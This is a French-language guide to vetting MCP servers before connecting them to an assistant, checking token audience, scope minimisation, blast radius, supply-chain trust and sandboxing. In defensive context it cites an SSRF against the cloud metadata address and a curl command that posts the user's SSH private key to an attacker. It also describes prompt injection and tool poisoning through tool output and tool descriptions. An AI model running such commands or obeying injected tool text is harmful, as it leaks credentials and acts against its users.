Liste de vérification de préparation MCP

Connecter un serveur MCP donne l'impression d'appuyer sur un interrupteur, et c'est précisément le problème. Maya active un serveur GitHub pour que l'assistant puisse récupérer le titre d'une pull request fusionnée par lui-même, réduisant ainsi onze copier-coller par semaine à zéro. La commodité est réelle. Tout comme ce qu'elle vient de faire : elle a remis un processus en cours d'exécution son token GitHub et lui a permis d'agir avec son accès. Le Model Context Protocol est une norme ouverte permettant à un assistant d'appeler un outil externe via un petit serveur, une requête Postgres, une recherche Jira, une trace Sentry. Le serveur fonctionne comme un processus avec vos identifiants, et c'est la partie qu'un rapide "ça a l'air utile, activez-le" ignore complètement.

La littérature sur la sécurité de 2026 concernant le MCP est directe sur les endroits où cela tourne mal. Le document officiel Meilleures pratiques de sécurité (un complément à la spécification d'autorisation, avec la révision du 2025-11-25 comme version stable actuelle) nomme cinq familles d'attaques auxquelles un examinateur doit penser. Le transfert de token est carrément interdit : un serveur NE DOIT PAS accepter des tokens qui ne lui ont pas été émis, car transférer votre token à une API en aval transforme le serveur en un adjoint confus et un proxy pour l'exfiltration de données. L'attaque de l'adjoint confus permet à un client malveillant de contourner un écran de consentement en utilisant un cookie de consentement restant et un URI de redirection enregistré dynamiquement, s'enfuyant avec un code d'autorisation. La falsification de requête côté serveur permet à un serveur hostile de fournir au client une URL pointant vers http://169.254.169.254/, le point de terminaison des métadonnées cloud, et de lire les identifiants IAM. Le détournement de session et la compromission du serveur local complètent la liste, ce dernier étant aussi brutal qu'une commande de démarrage qui exécute discrètement curl -X POST -d @~/.ssh/id_rsa contre le serveur d'un attaquant.

Aucune de ces attaques ne nécessite que Maya soit négligente sur le moment. Elles nécessitent qu'elle saute les questions une fois, au moment de la connexion, puis qu'elle oublie. Le coût de sauter cette barrière est qu'une intégration utile devient un trou permanent que personne ne surveille. La liste de vérification existe pour que les questions soient posées tant que la décision est encore réversible, avant que le serveur ne soit dans la configuration partagée et que trois coéquipiers ne dépendent de lui. C'est une petite taxe sur la première connexion qui vous achète un rayon d'impact limité pour la durée de l'intégration.

La différence entre une liste de vérification qui vous protège et une qui approuve automatiquement la décision réside dans le fait que chaque ligne cite une vérification ou exprime un ressenti. Parcourez la même ligne de deux manières et l'écart est évident.

Validation de l'audience. Une entrée faible dit "l'authentification est gérée, l'équipe l'a mise en place." C'est un sentiment, pas un fait, et cela laisse passer un serveur compromis. Une entrée forte dit "le serveur est enregistré en tant que serveur de ressources OAuth 2.1 et rejette tout token dont la revendication aud n'est pas ce serveur; il utilise ses propres identifiants avec portée pour l'appel GitHub en amont plutôt que de transférer le mien." La seconde nomme le comportement de la spécification (NE DOIT PAS accepter des tokens qui ne lui ont pas été émis, selon la validation d'audience RFC 8707) et vous indique que le modèle de transfert est fermé. Si vous ne pouvez pas dire lequel des deux vous avez, vous avez le faible.

Accès minimal. Une entrée faible est "les portées semblent correctes." Une entrée forte est "la configuration par défaut demandait repo:write; nous ne faisons que lire, donc nous avons reconfiguré pour lecture seule sur nos deux dépôts et refusé le reste." La version forte a fait le travail que la spécification appelle minimisation des portées : partir de l'ensemble le plus restreint, et laisser le serveur demander plus seulement lorsqu'une opération privilégiée est réellement tentée. Les portées génériques ou omnibus (files:*, full-access) sont le signe que personne n'a minimisé quoi que ce soit, et elles élargissent le rayon d'impact de chaque token divulgué.

Rayon d'impact. Une entrée faible dit "semble à faible risque." Une entrée forte dit "un token divulgué expose un accès en lecture seule à deux dépôts, rien d'écrivable, et je peux le révoquer dans les paramètres de l'application GitHub en moins d'une minute." La version forte répond à deux questions concrètes, ce qui est exposé et à quelle vitesse vous pouvez le couper, et les réponses sont limitées. "Tout, et je ne sais pas comment le révoquer" est un non, pas un faible.

Appliquez la même discipline au reste. Source de confiance signifie que vous avez vérifié le nom exact du package contre les typosquats, scanné les dépendances, et épinglé une version, pas que le README avait l'air professionnel. Sortie non fiable signifie que vous avez intégré le fait qu'un corps de pull request ou une description d'outil est un texte contrôlable par un attaquant : les deux modèles nommés sont l'injection de prompt, où un contenu non fiable introduit des instructions, et l'empoisonnement d'outil, où un serveur cache des instructions dans ses descriptions d'outils. La gestion consiste à résumer la sortie de l'outil plutôt que d'agir automatiquement dessus, et à garder un humain entre la sortie et toute action à haut risque. Confinement local signifie que vous avez vu la commande de démarrage complète non tronquée avant qu'elle ne s'exécute et que le serveur est isolé via stdio, car un serveur local fonctionne avec vos privilèges et une configuration en un clic peut introduire une commande malveillante. Remplissez chaque ligne comme une vérification que vous avez effectuée, au passé, avec un nom spécifique.

Quelques pièges donnent l'impression que cette liste de vérification est terminée alors que le vrai travail n'est pas fait.

• "L'authentification est gérée" comme arrêt de la pensée. L'échec le plus courant est d'accepter une vague assurance pour les lignes d'audience et de transfert. Ce sont les lignes qui empêchent un incident d'adjoint confus ou de vol de token, elles méritent donc une réponse concrète ou une connexion bloquée, jamais un haussement d'épaules.
• Vérifier une fois et plus jamais. Un changement de tapis est lorsque un serveur que vous avez déjà approuvé modifie silencieusement la définition d'un outil après coup, car le MCP n'a pas de vérification d'intégrité intégrée sur les définitions d'outils. Si vous ne révisez qu'à la première connexion, vous ne voyez jamais l'échange. Épinglez la version exacte, et refaites la vérification lorsque la version change.
• Portées trop larges "pour économiser un futur prompt." Accorder repo:write alors que vous ne faites que lire, pour ne pas avoir à redonner votre consentement plus tard, est précisément l'inflation des portées contre laquelle la spécification met en garde. Cela transforme une fuite en lecture seule en une fuite avec accès en écriture.
• Faire confiance à la sortie des outils. Laisser l'assistant agir sur une description Jira ou un corps de PR comme s'il s'agissait d'une instruction de confiance est la façon dont l'injection de prompt atteint vos systèmes. Traitez chaque octet qui traverse la frontière du serveur comme non fiable.
• Pas de journalisation dès le premier jour. Si la journalisation des appels d'outils est désactivée, un incident est invisible et non enquêtable. Activez-la avant le premier appel réel, pas après la première frayeur.
• Serveurs locaux non isolés. Exécuter un binaire téléchargé ou une commande npx sans voir la commande de démarrage, et sans un bac à sable, donne à un code arbitraire vos pleins privilèges. Utilisez stdio, restreignez le système de fichiers et le réseau, et lisez la commande.

En équipe, la barrière change de forme. La première fois que quelqu'un connecte un serveur, la révision est approfondie et une deuxième personne lit les lignes d'authentification et de portée. Après cela, la responsabilité compte plus que la répétition : une personne, Priya dans notre exemple, est responsable de chaque connexion, donc il y a une personne nommée qui revoit les mises à jour avant qu'elles ne soient intégrées dans la configuration partagée et qui révoque l'identifiant lorsque l'intégration est retirée. Adaptez la rigueur à l'accès, un serveur en lecture seule sur un dépôt peut passer avec une lecture rapide, tandis qu'un serveur qui peut écrire en production obtient chaque ligne et un co-lecteur. Lorsque vous déployez un serveur largement plutôt que de l'activer pour vous-même, cette liste de vérification est l'une des trois. La liste de vérification de préparation de l'agent décide si une tâche spécifique est sûre à laisser l'assistant exécuter via ce serveur, et la liste de vérification de préparation au changement décide si l'équipe est prête à adopter la nouvelle capacité. Pour un guide plus approfondi sur la lecture des scripts, des hooks et des portées qu'une extension livre, le guide Compétences, plugins et extensions et l'atelier MCP et IA connectée aux outils vont champ par champ. Lors de votre prochaine connexion réelle, faites une petite chose : avant de cliquer sur approuver, écrivez la ligne de validation de l'audience avec vos propres mots. Si vous ne pouvez pas, vous avez trouvé votre premier non.